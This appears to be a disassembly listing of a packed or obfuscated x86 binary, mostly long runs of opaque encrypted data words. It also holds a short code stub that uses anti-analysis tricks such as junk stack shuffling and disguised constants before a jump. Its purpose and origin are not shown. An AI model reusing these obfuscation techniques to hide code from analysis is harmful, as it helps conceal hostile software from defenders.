dd 0EB84FE2Ch, 795CA60Fh, 87D43DFBh, 2536DBA9h, 0C71F0202h dd 0BCBF5AE1h, 81C472B3h, 0ACA0664Ah, 3C389917h, 64Dh dd 0D4B2A96Eh, 6F4D0E06h, 0EEC6FA1h, 0AB89D240h, 452338DDh dd 15C2AAh, 67AF7D5Bh, 0CB4816F4h, 2DE4B290h, 9A7E502Eh dd 0D4373113h, 3DDCB684h, 684E0D04h, 0CFF269AAh, 266A2508h dd 8E4D70EBh, 2CE53186h, 0DDA8512Fh, 0AEDE88B1h, 7, 1CC4CD5h dd 4AE90000h, 0F3D6858Ch, 0C76B9066h, 0CF170A7Eh, 31F462E9h dd 6EB178BAh, 11981088h, 78BAA32Fh, 9A7C71B4h, 1F78BAA3h dd 37BF9DCh, 6B8ECD45h, 14FDC1A4h, 0D8BF3FC3h, 6D1CF249h dd 0DD47C987h, 0BAB97456h, 7B6F978h, 31E0AE24h, 1207072Ah dd 0E828E6CCh, 0B8D3B53Ch, 155878BAh, 7E058366h, 72B3CCE3h dd 4C6EA5E8h, 0B317AC90h, 5875652h, 0E3340000h, 48CC9A78h dd 0A9673513h, 0C06D4B2h, 72A3714Fh, 0FC700BE9h, 43213ADBh dd 0DCBAA175h, 7856050Eh, 16F467AAh, 0F7D96044h, 7C84D437h dd 8C4A03A2h, 6CB0D388h, 2003B2A9h, 8C22B55Ch, 0E89A6595h dd 0E5294CFBh, 0D93AF82Ch, 33AB8D82h, 0ED307EC8h, 545C1B3Eh dd 805EB36Fh, 0DBA2C596h, 0E0A54E2Ch, 0ABDE87E9h, 7, 0EC4CD2h dd 4AE90000h, 79249885h, 0DDC013A7h, 60E7C45Dh, 7EC8187Eh dd 53DAC003h, 7EC81871h, 1E04B3F6h, 2D2EE8A6h, 0D360430Ah dd 78BADE88h, 26E4CA0Dh, 0C49270EBh, 0B0280E4Dh, 0BB4F4729h dd 0A689CC78h, 0B076EBEBh, 15DD43CAh, 0DB9972AEh, 0EB70A33Bh dd 6F5201C8h, 51C9AFF2h, 0AE86E8CAh, 472A6D72h, 61D951C9h dd 0AE86F8DAh, 453A7D72h, 72AE8763h, 0FD9F21E8h, 0E9F08474h dd 7E93573Ah, 74A7B460h, 340B216Eh, 0E4C271C3h, 3D60FB16h dd 18FE243Dh, 2833E2A0h, 800B3E05h, 0F201613Bh, 0C3F68366h dd 86CA74Eh, 17768EC5h, 68C91DB8h, 4686Ch, 97C45300h, 3229EBB9h dd 0D18A8654h, 6EED25F3h, 853C290h, 0FADD8F2Ah, 9462401Bh dd 2DFBD982h, 0C99775E6h, 63351348h, 3916F87Fh, 0C19B84D4h dd 13E4C22h, 12D00000h, 733A5DFEh, 0D1482B90h, 519C2309h dd 0D578BA32h, 0C361EE10h, 49C7CD27h, 7928EF12h, 0F0D61996h dd 90F8DF32h, 0C2997890h, 0AA5D89Fh, 0DEBC6B09h, 39DD0110h dd 8938FF22h, 0A7F36666h, 4FC67CE5h, 9D833231h, 0ADAE6725h dd 91CA468Ah, 0C72FFE2h, 0C872ADC1h, 6E510A0Ah, 0AC8AEF1h dd 0A8765407h, 0D1CFF269h, 9D240013h, 72AE32BBh, 684EFD40h dd 0AE31FFE1h, 5E418472h, 0BDA37BDEh, 0A6480336h, 0CE05486Ch dd 1DB91E40h, 0A2A29EFFh, 19000003h, 0B17F5DFEh, 4C1AF863h dd 0EBB997C4h, 88563427h, 55F0CE8Dh, 655C017h, 9FBC5A28h dd 3B20F3C1h, 0D9828F5Dh, 0BE4529FBh, 84D439DCh, 4AE88761h dd 0F2D5868Ch, 5578E32Eh, 365D9257h, 0FD23B814h, 0A0BB561Ah dd 4516FCBAh, 0BD785B22h, 5581F6FEh, 0FFE168BCh, 847EC82Eh dd 0BB49241h, 0DE87ED7Ah, 5FFC16D4h, 411AF83Ch, 3D6EAF92h dd 7C000000h, 239B7D04h, 0DD207EC8h, 0D14895FAh, 0E29C2309h dd 2778BFB5h, 0D040FEE4h, 3F16AD8Bh, 7578C01Dh, 59E1BF9Ch dd 0FEE17A9Bh, 9F85D63Ah, 1DBEA027h, 4378C0h, 0F666621Dh dd 3000002h, 0E92854Ah, 0E2368D6Fh, 83D83BFFh, 66F51C60h dd 7BB1BB80h, 2D1DF452h, 0EDB55F34h, 0E3924Ah, 655BC8Ah dd 0ABB06220h, 48C90DC8h, 0B6AB3513h, 30038A70h, 0B578C156h dd 6C424F72h, 0FA78C136h, 0B5D0774Ch, 0D6E48EEAh, 20h dd 9D148FDh, 9BC59C23h, 0FF4278BFh, 3AF9CFDCh, 0D98778C0h dd 0E1285DE2h, 1B63E48Fh, 8A000001h, 2B4E0D04h, 0F2A92EE7h dd 5355EF3Eh, 0B3A86E9Ah, 0F71AC990h, 0EB0A34F9h, 5F567AE7h dd 259B87Ch, 0E5769BDFh, 86D541FFh, 0C492B53h, 0DCBF4D6Eh dd 52F4CF66h, 0B3787EC8h, 3467408Eh, 34C3151Bh, 3C92F124h dd 0F16AA7D3h, 602407CEh, 76E52DB1h, 0B2608C53h, 10BF86A9h dd 0AEAD6432h, 510A0AC8h dd 0C984672Eh, 1E060DCBh, 0C828B597h, 48F73A7Eh, 4164F71Ch dd 217977Ah, 0BD466458h, 0D382EAEDh, 0F4E32FEDh, 5FCE77Dh dd 0D6B968F2h, 0EF22E058h, 85D6406Ch, 259A15A2h, 995E78C0h dd 7F76A2Ah, 0C896C00h, 7396C54Ch, 0B0CEE75h, 4E9178C1h dd 8812F09Fh, 0DC634991h, 72B6B630h, 0D44C3275h, 0E7749E5Ch dd 2608FDC4h, 0AB72B75Eh, 54C18568h, 0BA5B2907h, 0D8AE6AA1h dd 309117A8h, 1A834h, 57041300h, 0F269AB79h, 91CA4614h dd 2E2DE5B3h, 0C8938250h, 0BA1D4FEAh, 5422005Bh, 0EDBB99C2h dd 89573526h, 23F5D388h, 3BD6B83Fh, 815B84D4h, 4A1104E2h dd 0E8739E6Ch, 8C4A9B0Ah, 72F2D586h, 0CA5137EFh, 78BF9AF3h dd 0C0A2D70h, 3B2B0D94h, 6DB078C0h, 6487D441h, 572DBA9Dh dd 0E578C03Bh, 0CABB4037h, 0C1E48FE1h, 0ADh, 0EED057CFh dd 7378C02Eh, 4E84D30h, 2D2B4E0Dh, 94B7A46Fh, 0EB70A1CDh dd 5A1E01C8h, 707DA0BBh, 7EC76F95h, 3F1D3ED3h, 98BBA071h dd 73598198h, 0BF8F71ECh, 0DF33678h, 643DBD48h, 1D00109Dh dd 0DE041DA7h, 0A16C71F8h, 266972B5h, 91938240h, 0B652280Ah dd 3E6AAD72h, 9E6588D3h, 0D24311EFh, 0E4905289h, 0E6F17A9h dd 0D012h, 2F2CEB00h, 0CA918351h, 69F21EECh, 655BD8Bh dd 0A0BB5A28h, 924527C2h, 2CFAD883h, 0C59371EAh, 612F0D4Eh dd 0FBCDABB0h, 3CAE9017h, 593384D4h, 868C4ABAh, 8EBB2D5h dd 0AC8AD144h, 4A2833DEh, 4E0D04DBh, 0B42AE72Bh, 0FD6F962h dd 61F88260h, 0FF15D3B9h, 8F72395Ch, 31EC8A11h, 0A6E978BAh dd 5D23F83h, 0A24756AAh, 27099021h, 0AC78BB2Ch, 2D0BBA69h dd 0C3A9B25Fh, 0FE6D6FFEh, 9CC844A5h, 0FAC1E477h, 0BE4F5C17h dd 618ADCF3h, 19F82299h, 17DC6442h, 7C329F71h, 5216F9A5h dd 35799CBFh, 0DEC047DDh, 1C4ADD6Dh, 7A4164F7h, 80A35295h dd 65B10674h, 3D1AFACh, 2E2A4D0Eh, 11h, 3C1FF4B2h, 9B4CCE19h dd 3E7CE99Dh, 2047AC8Fh, 48130415h, 2B30E125h, 0C4FC408h dd 0EA71A5E9h, 0C99283C7h, 0A8B362A6h, 8AD14185h, 6EED2367h dd 4E0D074Bh, 54562A2Bh, 4C6815Eh, 83000000h, 348704EEh dd 0C5685C24h, 89000050h, 168241Ch, 89000058h, 0ED68242Ch dd 8B060CC8h, 0C483241Ch, 5EFD6804h, 24890000h, 24048124h dd 4, 4EC815Dh, 89000000h, 8B82404h, 1000000h, 581889E8h dd 5D2434FFh, 4C481h, 34FF0000h, 0C4835B24h, 0A82CE904h dd 0B88AFFFAh, 60CD2DCh, 0E0FFC503h, 5498B913h, 37258C1Eh dd 416A8350h, 20135871h, 64D3D13Dh, 59D8B060h, 0EC9A5FCh dd 5762885h, 38E861C9h, 7A1F3ECAh, 19730453h, 4DFE2674h dd 4AB86772h, 900EDA2h, 0DE9h, 3902200h, 0E7339C37h, 77h dd 0BAE90000h, 6800000Dh, 60CD517h, 0FAA7C9E9h, 0D5EA68FFh dd 0BFE9060Ch, 68FFFAA7h, 60CD777h, 0FAA7B5E9h, 0D89D68FFh dd 0ABE9060Ch, 68FFFAA7h, 60CDA40h, 0FAA7A1E9h, 0DCD868FFh dd 97E9060Ch, 68FFFAA7h, 60CDE99h, 0FAA78DE9h, 0DF8368FFh dd 83E9060Ch, 0EDFFFAA7h, 8553312Ah, 20EECC8Fh, 0BF8D6BF0h dd 5C2A0853h, 29C4A2B9h, 0DA819443h, 73E82EFCh, 0F4CC795h dd 0ADAE6331h, 9219FDCFh, 84D43EB0h, 2BA35B35h, 0D43DC2A4h dd 21044784h, 0CA0D04BCh, 0C35D1184h, 0D2F5A4F9h, 0FAD8838Eh dd 4B31E970h, 0C141F1C4h, 4D337678h, 226C4ED5h, 31F178C1h dd 0E9CC7BE0h, 224B212Eh, 2BD978C1h, 0FED6AF54h, 2EB5E48Eh dd 0DC000000h, 50878C4Ah, 948414ADh, 274AF945h, 64FD7D60h dd 7A51D8BEh, 0F778BFFEh, 0AE8491B4h, 3C78C09Eh, 7312298Eh dd 18E48F7Eh, 0D5h, 4E0D043Fh, 2D2EE72Bh, 104BC60Ah, 0F368A9EDh dd 94C74F0Dh, 51C7AA71h, 0C76DD3BAh, 93C8497Eh, 0B82DE8ADh dd 8D24E8B4h, 0AB6634AAh, 948D8DB0h, 67A3684Eh, 0BC1B4072h dd 9219977Ah, 78C06D9Fh, 0EB70A563h, 0A11E01C8h, 7900785Eh dd 78C05E97h, 80F6D91Ch, 0D5BB63F6h, 0B609114Eh, 250B4E72h dd 3427EFADh, 0A3674A11h, 4503E972h, 1C678AD1h, 6B514C70h dd 0BA9D4C93h, 17FEBC44h, 789D6144h, 0A12CACE3h, 0B21317A9h dd 0B6EB6h, 5FFC1B00h, 0FA61B381h, 99C24E1Ch, 3625EDBBh dd 0D08B8A58h, 0C21557F2h, 5C2A0853h, 0F5C3A1BAh, 915F3D1Eh dd 2BFDDB80h, 3FDEC047h, 896384D4h, 4A1104EAh, 0B86CA664h dd 0C76B4F31h, 0E291D47Eh, 9F15F8BFh, 3D1B40D1h, 9D148CEh dd 9BC59C23h, 0FF4278BFh, 3AF9CFDCh, 0D98778C0h, 0E1285DE2h dd 0B663E48Fh, 8A000000h, 684E0D04h, 6B8769F0h, 0C90C7EC7h dd 2EE72BE6h, 16FD0A2Dh, 8C7EC76Eh, 2AF8D685h, 515174E7h dd 0A52C12C8h, 78C06BB2h, 0F0A7B176h, 0B81ED53Ch, 0D694BD2h dd 0ABEE78C0h, 2A084BC8h, 2A31E4A2h, 8C52C747h, 0B2EB1FA6h dd 0ED3072B5h, 94C74907h, 49C7AA71h, 0F3D18A8Bh, 0F863AD6Bh dd 97C45115h, 0A9D84260h, 605CBD17h, 0A9Bh, 543229EEh dd 0EFCD8E86h, 8E6CEF21h, 2B0952C0h, 0C5A3B85Dh, 8095422Ah dd 0E72FFDDBh, 4BC89674h, 0AD643210h, 1AFED0AEh, 0D440B193h dd 0BD5C3684h, 99C61104h, 0F30D78BEh, 0FDCBA958h, 9C614714h dd 0E69904C8h, 0E65C3FCDh, 4E0D0477h, 0F7B52D2Bh, 561D401Bh dd 0C76B7F61h, 0DEC1047Eh, 8664F71Ah, 0D7BD65FCh, 7E60E75Fh dd 37EC76Bh, 0D988D343h, 0FC2A1DA6h, 0E0C309A2h, 0C0212853h dd 64AE6C78h, 549714F7h, 526E3331h, 53E413E4h, 0FAD15E41h dd 8878C0BAh, 275EE5DAh, 27E48F65h, 0F178AC69h, 78C0B30Fh dd 7FA25194h, 0C994D5B8h, 0BB000006h, 2309D148h, 87AAB165h dd 0D85FDDC0h, 78BF97A1h, 0F7B59BDEh, 0A25D401Bh, 0C040BF95h dd 0D89F4D78h, 8FE06223h, 69E29E4h, 48500000h, 9C2309D1h dd 78BF88A1h, 2924A065h, 0B77956FDh, 2E1457D4h, 0AB078569h dd 0C0044224h, 5184C778h, 0E8CB19EAh, 244A202Dh, 2AD878C0h dd 0FCD7AE55h, 65B4E48Fh, 0DB000006h, 0D3888C4Ah, 3106E9B0h dd 0DD051CADh, 51C17FF7h, 0B79A270Ah, 3C78BF97h, 0DA4E13F9h dd 4570BE6h, 0B629B194h, 0ECAA2DB7h, 4C32E871h, 4975CD4h dd 6C4EE565h, 77583A2Fh, 9ADDECAAh, 929F2AB7h, 61A4E6A2h dd 3DB3E3Eh, 99D4961Dh, 0D619E09Bh, 7CDF32F0h, 0AC2AD196h dd 0E7708207h, 0DE015ABBh, 0F0BE3417h, 8069B621h, 0DF3F8688h dd 2EB3F930h, 0EB4CA9C4h, 90EEFh, 0BF9C7B00h, 5A0113E1h dd 0F962AE7Ch, 96C54D1Bh, 302BEAB8h, 22B5B752h, 0BC8A68F3h dd 5523015Ah, 0F1BF9DBEh, 8B5D3B20h, 423E20A7h, 0E9C384D4h dd 4E0D044Ah, 0F0362B2Bh, 3F5A830Ah, 0E09E78BAh, 0CB482B30h dd 598EB804h, 5B0AC5BDh, 4660E67Dh, 0AD9378BBh, 47CCAE35h dd 0E5178BBh, 97738DBh, 987B942Ah, 68F31E58h, 0C418008Ah dd 6BA866DEh, 0D6800DF0h, 1A78BA9Fh, 80A3B85Ch, 1659D6B9h dd 0B8A37230h, 30EBCE95h, 503625ECh, 5B278Bh, 0F8DB50BAh dd 3C45EB82h, 0D83B78BBh, 3AD7A583h, 6A763B21h, 36030B72h dd 0BDCA8568h, 78BAD0E7h, 63BF0438h, 47CFADAEh, 0A1C7C082h dd 0FFE23E85h, 9F85D63Bh, 442734E1h, 25A67C89h, 0A61478BBh dd 0CB0C05D1h, 0DC80F5A7h, 0AC8A3901h, 14726h, 0D04C300h dd 2CE72B4Eh, 1DFF0C2Fh, 5B7EC76Bh, 8482A5B6h, 290C4FC6h dd 0AC33B0A9h, 7EC76ACAh, 6D520908h, 0E957B2Ah, 78BA3EE5h dd 482AB129h, 0CD78BA97h, 0A6B55E8Ah dd 0CC0346C3h, 11A5A3EAh, 0E8B8B415h, 0A1000007h, 3907E576h dd 0D4A280DBh, 73411F3Ch, 10DEBC9Fh, 0DD785605h, 8ECD488Fh dd 2734E2B0h, 0C3987B49h, 61FA17E5h, 46CDB183h, 84D44364h dd 4700FE9h, 0E72B4E0Dh, 8D6FF62Eh, 127EC76Bh, 0C23A20CFh dd 0C76B593Bh, 0DC7F977Eh, 0CA0DF2B9h, 70A371E7h, 68D05EBh dd 7EC76B24h, 0CA6DE2A9h, 0B83DD5C4h, 28B02609h, 94DFB363h dd 75588D15h, 1DFB60B1h, 0FD18C64Fh, 8E8CAF5Eh, 5C9146D0h dd 8C691555h, 35FC1FCEh, 0D4878E52h, 7DB176EEh, 0AB887613h dd 0B616F8EDh, 589B7EC7h, 8F72E92Ch, 0DB8090D4h, 0BE9D74B8h dd 793E729Bh, 146B731Ah, 32104BCAh, 8866FC89h, 108FDEh dd 0D89D0000h, 0E39CC045h, 0FA5F42BFh, 7B4Ch, 0D04E900h dd 481E2B4Eh, 0B67EC77Bh, 28ED7348h, 9838C4A9h, 460AED7Bh dd 0E4B290CBh, 0FC092C2Fh, 7EC74025h, 759B5971h, 0C7303E6h dd 9FBC5A18h, 0ED2B57Ch, 9785605h, 294C0F04h, 0A2D2EE5h dd 83924CC6h, 3FEEB5D8h, 1D3ED81Ch, 96E00FAh, 249BA34Ah dd 5C4219FAh, 6B7B5DE4h, 40007EC7h, 0F3D685D6h, 71ABE67Dh dd 1F267EC7h, 0DE88BE65h, 0FFFE7D24h, 814C4BFFh, 0E9000003h dd 2B4E0D04h, 0C76B781Eh, 0B7A46E7Eh, 96C55094h, 774C1473h dd 0CFB44628h, 7F5DFE13h, 0D8FB60B1h, 0C76B25CBh, 0D19C617Eh dd 0AEA0B0A0h, 0F31EE2C5h, 0DC454568h, 0EB5B2006h, 0E5D93C9Ch dd 0CB9080ACh, 2DF26AE8h, 0D7FF56E2h, 0CC593CFCh, 78BA7BA3h dd 926EA5E8h, 0AD11A567h, 645504Ch, 0D3440000h, 38DCAA88h dd 99774523h, 0FC16E4C2h, 62B3815Fh, 0EC801BF9h, 53312AEBh dd 0ECCA9185h, 8866F51Eh, 260457BAh, 7E97054h, 8C84D445h dd 0D0413B2h, 59A3684Eh, 942A3A99h, 590853C2h, 9E77BB76h dd 11DFBDh, 77BB9D24h, 18F97EC7h, 74592043h, 249C8231h dd 4047EF5Fh, 2B205A45h, 7EC83149h, 0B2BA07CEh, 4152645Bh dd 6B39AF92h, 4A8EB1AAh, 0AE6D90CBh, 1005D1A6h, 5EA0654Bh dd 3C5D33D3h, 18C1371Ah, 0DE87F16Dh, 6DEE23E1h, 0E4AA1D3Ah dd 17FA859Bh, 287D6h, 0EB26E400h, 153823F3h, 57BC9F4Eh dd 4ED5D048h, 7EC76B6Ch, 9082AEF1h, 0ECF91CCBh, 7FD86C20h dd 86A9B25Eh, 678AD142h, 0C996ED5Bh, 0CB7047F5h, 0DD77B4BAh dd 1C3FD694h, 24AF839h, 481F0000h, 0AE260CD0h, 0C76B4527h dd 0A487CA7Eh, 6BBD9F26h, 0FF427EC7h, 6C03CFDCh, 0EB997FD8h dd 0B4166F94h, 0C038DD77h, 0D8645739h, 0B699DC7Fh, 21775h dd 50C58300h, 48C3280Bh, 0AE260CD0h, 6ACDAF36h, 0D8527EC7h dd 0C76B6F51h, 2B1F47Eh, 6BB4921Fh, 72307EC7h, 0D097BAA1h dd 0A2D70EDh, 0D86C31FDh, 0A219C77Fh, 0E2CDF9BEh, 33BBE96h dd 0DB048120h, 8C4ADD76h, 6AF1D784h, 7FD93E88h, 0A6E7CA0Dh dd 1C4h, 0CD048CDh, 6BF59F26h, 0F73A7EC7h, 6BFBC7D4h, 0E3917FD8h dd 0B41E679Ch, 0A56DDD77h, 94000001h, 7ECA0D04h, 4A29A70Fh dd 78BCDF8Eh, 5AE4C299h, 0C1391FC7h, 0C1E0C249h, 22657EC7h dd 0D1DFB23Fh, 216478C0h, 0B21BF1FEh, 0DA978C0h, 7194C74Fh dd 4037C7AAh, 0D3AA17DCh, 18DDD38Bh, 0D6BC75E5h, 0D4B7ADF2h dd 8F795035h, 3D3BE4h, 48620000h, 0AB2309D1h, 543724EDh dd 0BF9AF0C7h, 6CF36D78h, 78C03B8Ah, 99C24F0Fh, 0B183BEAh dd 78C03B35h, 0BAAE15C3h, 0CF8C8442h, 0C03AF8DAh, 573A7D78h dd 8FE1CDB8h, 0C9BEE4h, 4E50000h, 0F0684E0Dh, 0C76B8769h dd 0E6C90C7Eh, 2D2EE72Bh, 24878247h, 6B29065Eh, 57CFCD88h dd 0C831EED0h, 4D30737Eh, 0B0D38889h, 0D8B6A56Ch, 0C8355A41h dd 9D41D07Eh, 0FEC5E873h, 0FA1D3ED2h, 1CA68433h, 39F7DD05h dd 219F82D9h, 0BDD3E89Ah, 2DB42C78h, 78BE834Bh, 0E46009D0h dd 2F575641h, 25264D80h, 975D7203h, 0EF437B4h, 8B2E5649h dd 0B99C084Fh, 46987D3Bh, 4B5C8FCCh, 9AF6964Fh, 0E0AE8C3Bh dd 1BEF2635h, 2411A1C6h, 3ADC7C3h, 3BDC0000h, 0A0744220h dd 10FDDBBh, 64AE7C5Ah, 0CA4B19F7h, 5418B391h, 0EBC99283h dd 8462F91Dh, 20FE5DB6h, 0BE9CBF52h, 9F8108ECh, 2484D447h dd 1104AB4Ah, 739E6C4Ah, 49B0AE8h, 0F0684E0Dh, 0C76B8769h dd 0E6C90C7Eh, 0A66F2D2Bh, 52A682B5h, 8345EE3Fh, 2635DCA0h dd 94908240h, 0C84E2B0Dh, 0BE6DB07Eh, 0FADD7E92h, 4E16ED84h dd 89907EC8h, 59E46B51h, 5D78C14Ch, 4E7C5EE5h, 0C0B378C1h dd 60AD21BDh, 0FFE2250Ah, 0F2613F82h, 0D7848C4Ah, 6B886AF1h dd 0CA0D7EC7h, 0F0EE23E7h, 4F163922h, 0D8397DA0h, 9E259D83h dd 7EC76BBCh, 43D2FE41h, 35BF3518h, 8910F62Ch, 78C07BB6h dd 5412F83Bh, 62F91DC1h, 0E6C990B3h, 5B481E2Bh, 28D678C0h dd 30FCD53h, 0AFD67558h, 0DCE48FC5h, 51h, 9D14803h, 9BC59C23h dd 0FF4278BFh, 0F020DEDCh, 60B9386Bh, 34EB7148h, 9FEEC451h dd 0EC2478BFh, 8084C6Fh, 69713053h, 0C3714512h, 2BF068FCh dd 8820461h, 96786D31h, 1B78C01Ah, 1A381AA1h, 7ABD78C0h dd 3C49E8CBh, 4FE49002h, 0D3h, 4E0D0476h, 2D2EE72Bh, 0D940C0Ah dd 7EC76B2Bh, 0C68A6DB0h, 0A9ED104Bh, 7E15F368h, 7EC76E97h dd 7157040Dh, 18FA81F9h, 9D7EC767h, 6783655Ah, 0F2BA7EC7h dd 7AF0138Fh, 2A0D5035h, 302BE6B4h, 0CE140D0Dh, 0EE661E8h dd 0ECAA78BFh, 4C133625h, 4568F320h, 0DB1E9B7Eh, 0B4EE73FDh dd 0C885CB64h, 987E2D13h, 0B5C96511h, 8167AA72h, 2B0952C3h dd 2F2CE5A3h, 978D884Ch, 0B6712E10h, 0BF6F6572h, 162E57CCh dd 83FEE31h, 17A9060Ch, 0ECD6D233h, 9D000001h, 3503E17Ah dd 0D09E7CDFh, 6F3D1B40h, 0CDAB8A3h, 0D9745209h, 8AD14493h dd 2338DEACh, 0BF9C7745h, 5DFE13E1h, 42C9AD7Fh, 84D44960h dd 46C0BE5h, 0E46C4A11h, 4B6EED26h, 34DDA184h, 48DA4927h dd 0D3888CD1h, 0E0B73E24h, 5D78BF9Ah, 14EAF71Ah, 0A278C03Bh dd 92C94806h, 0A3581FAFh, 0E48FE1E2h, 0BDA9h, 0D04D000h dd 6F2D2B4Eh, 11D5B8A3h, 0F9715704h, 0C76B9072h, 0EFD2157Eh dd 6E402734h, 3EFC7EC7h, 9F6689D2h, 0B19F8BCh, 0C766A284h dd 0AD67277Eh, 7250FFAEh, 30B76DA4h, 7EC7664Eh, 0BEE190D3h dd 9D835BBEh, 0BF8E9B16h, 3F1D6078h, 9076ACB5h, 0B5E60409h dd 0D8BE0172h, 7F61E860h, 472B696h, 0FB1ADEC1h, 0D77E0ADCh dd 4CFB16B6h, 9C21E66Eh, 5945758Bh, 1203C7AAh, 580C1249h dd 0D23317A9h, 102D6h, 0CB908700h, 66F51FEDh, 556BA88h dd 0A2B95927h, 3C1FF6C4h, 2EA9C35Eh, 0C89674E7h, 612F0D4Eh dd 0FDCBA9B2h, 97694714h, 4A4A2CB3h, 0F5CF84D4h, 4A110456h dd 0E8739E6Ch, 8C4A9B0Ah, 71A5D18Ah, 0CE4307EAh, 0AE6C6A8Dh dd 4E12F566h, 0F4B298C3h, 0CF1A3D1Eh, 91A89747h, 4225D425h dd 7DF42CCh, 0EF325C21h, 4E5F190Fh, 966ED6Bh, 8678BA9Ch dd 35DC2043h, 91824026h, 0E971E7CAh, 230B4624h, 3BD683F6h dd 0CA8E7120h, 702E1447h, 1BD6B9A2h, 0A4B75F1Dh, 4AD7BA81h dd 0A7AAFB3Eh, 78A219E1h, 0D2A13E99h, 0CC5FA940h, 3FB73F1Dh dd 0AB47D6B8h, 19945B47h, 3BA0D8E9h, 0AF735605h, 8B997C62h dd 0AAE32204h, 0B564A747h, 795B2006h, 5FCECAA5h, 0B9FDB89Bh dd 0D3DF0259h, 457B977h, 0A7371AE1h, 500B06D0h, 0BF25EA72h dd 568B9CFDh, 0DE33F7DAh, 0C5E5A7Dh, 0E2000000h, 0ACEBDF1Dh dd 41242641h, 41520DCh, 0E1254813h, 0C4082B30h dd 0A5E90C4Fh, 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h dd 74B6EEDh, 2A2B4E0Dh, 495368h, 48F5400h, 24048124h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], eax mov eax, 420A08D2h neg eax dec eax neg eax sub eax, 3BFD34EAh mov ebx, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], ebx add dword ptr [esp], 2F2836F3h pop dword ptr [ecx+8] sub dword ptr [ecx+8], 2F2836F3h mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_4FF07A ; --------------------------------------------------------------------------- db 6Ch dd 5388B34Bh, 95D85EB2h, 0EA052693h, 0E0AAB86Bh, 0C503060Ch dd 147EE0FFh, 80732F0Eh, 0E6545424h, 0DA6F3532h, 7B5D0DD4h dd 3B0B54B8h, 5F257FDCh, 41C901AAh, 0DE2A097Eh, 0E6910E54h dd 88C464FEh, 0CCC95DF9h, 24EB6AC3h, 9 dup(0) dd 0BDE9h, 8EB58900h, 8B060CE1h, 7218D85h, 0A9858B06h dd 8D060715h, 0CE1D8B5h, 79858D06h, 0FF060A4Ch, 0E855C3D0h dd 0 dd 0DEED815Dh, 83060CE1h, 7218DBDh, 850F0106h, 2Ch, 0E18EB5FFh dd 858B060Ch, 60715A9h, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60CE192h dd 8EB5FF56h, 8B060CE1h, 715A985h, 27363506h, 0D0FF3481h dd 8D0CC483h, 0CE192B5h, 14468B06h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 218DBD83h, 0F010607h, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 60CE1B7h, 10D98589h, 9EE90607h dd 4E000000h, 940A0C37h, 5000000h, 1000000h, 28000000h dd 200000Ah, 22h dup(0) dd 0B53E900h, 0B9680000h, 0E9060CE4h, 0FFFA983Ah, 0CE5D168h dd 9830E906h, 0E68FFFAh, 0E9060CE7h, 0FFFA9826h, 0CE77D68h dd 981CE906h, 9D68FFFAh, 0E9060CE8h, 0FFFA9812h, 0CE90868h dd 9808E906h, 0F68FFFAh, 0E9060CECh, 0FFFA97FEh, 0CECF268h dd 97F4E906h, 9B7CFFFAh, 14E2C0h, 61AF7D5Bh, 0C44E1CFAh dd 2AEBB997h, 0B4B85331h, 8B69F223h, 240259BDh, 0C09EBD56h dd 5E3C1FF2h, 3F21A88Ch, 0C484D44Eh, 0D044BEAh, 69F0684Eh dd 7EC76B87h, 2BE6C90Ch, 53312AE7h, 760650C9h, 1679173Bh dd 0A2290FBEh, 78C112CFh, 0E1EE1154h, 78C0F30Bh, 6F94EB99h dd 0E48F2D16h, 5C75h, 50C58300h, 3E21E80Bh, 9D148D9h, 4224AB23h dd 0C77EC76Bh, 9C23A184h, 78BF9BC5h, 0CFDCFF42h, 78C03AF9h dd 577AE12Fh, 375A0113h, 299FB8ECh, 22336732h, 0CE4689EEh dd 41CE2FF6h, 7220F4A3h, 189F170Dh, 78BFCA36h, 0B9F7286Dh dd 2A0FFC76h, 206504E7h, 6BE49065h, 0B8h, 4E0D0492h, 2D2EE72Bh dd 934BC60Ah, 0F4BBDE7Dh, 0C9A5F45h, 2435D535h, 97C44E7Ah dd 0FCAAD74h, 9AC15311h, 0C01EF3B7h, 7E5C0B50h, 0C8298EE7h dd 1645CC7Eh, 37A76A38h, 0ACCF7EDDh, 876DB5ACh, 0C1280D00h dd 0B18FD278h, 2EB53227h, 78C1184Ch, 186749D0h, 0A9EC78C1h dd 0ECD281C4h, 0B6C32865h, 6EA66472h, 655C1EDh, 7D63A623h dd 270556BFh, 689FBC59h, 17A8DEC1h, 29E3DF40h, 0BD000009h dd 5523015Ah, 0F0BE9CBFh, 8F5D3B20h, 2CFAD883h, 0F99472E9h dd 0AAB16473h, 4318FECCh, 0DF7C9765h, 7DDE3301h, 62E9CD9Fh dd 84D44F80h, 48C2B05h, 9E6C4A11h, 9B0AE873h, 2309D148h dd 0CAAC33ABh, 4F7EC76Ah, 0C59C290Ch, 4178BF9Bh, 0A7CA9183h dd 3D80FDE0h, 0B55E1C1Ah, 90BC83A6h, 0F0B7DA81h, 3BAA800Dh dd 8A3878C0h, 0E1770E35h, 0E214E48Fh, 3B000000h, 90170D04h dd 7EC76BAEh, 98B1BBE5h, 3C2148C4h, 29274AF9h, 0F77EA66Bh dd 7EC84315h, 0C5A8579Ah, 61471401h, 0C8EB70A3h, 56631E01h dd 7EC845FDh, 9F85D63Bh, 3FBEA027h, 437EC8h, 0A71FA71Dh dd 0C83F3E20h, 9D80C37Eh, 3D2338D9h, 0A6C9927Fh, 4141FCDFh dd 951C02D8h, 78C145A2h, 0BC462467h, 0DDBF46A5h, 6278C135h dd 367F61E8h, 0C10478C1h, 57D6312h, 67528A40h, 0B99CB237h dd 0B623F82Ch, 7C763D72h, 767CFDD4h, 3EFCE291h, 0D8A684D7h dd 0E873A13Dh, 184FFEC5h, 17A92C1Bh, 118985E6h, 0D5000008h dd 6D3B1942h, 8D6B4A7h, 0A7755308h, 4412F06Bh, 11AC8AD1h dd 0C2997C5Bh, 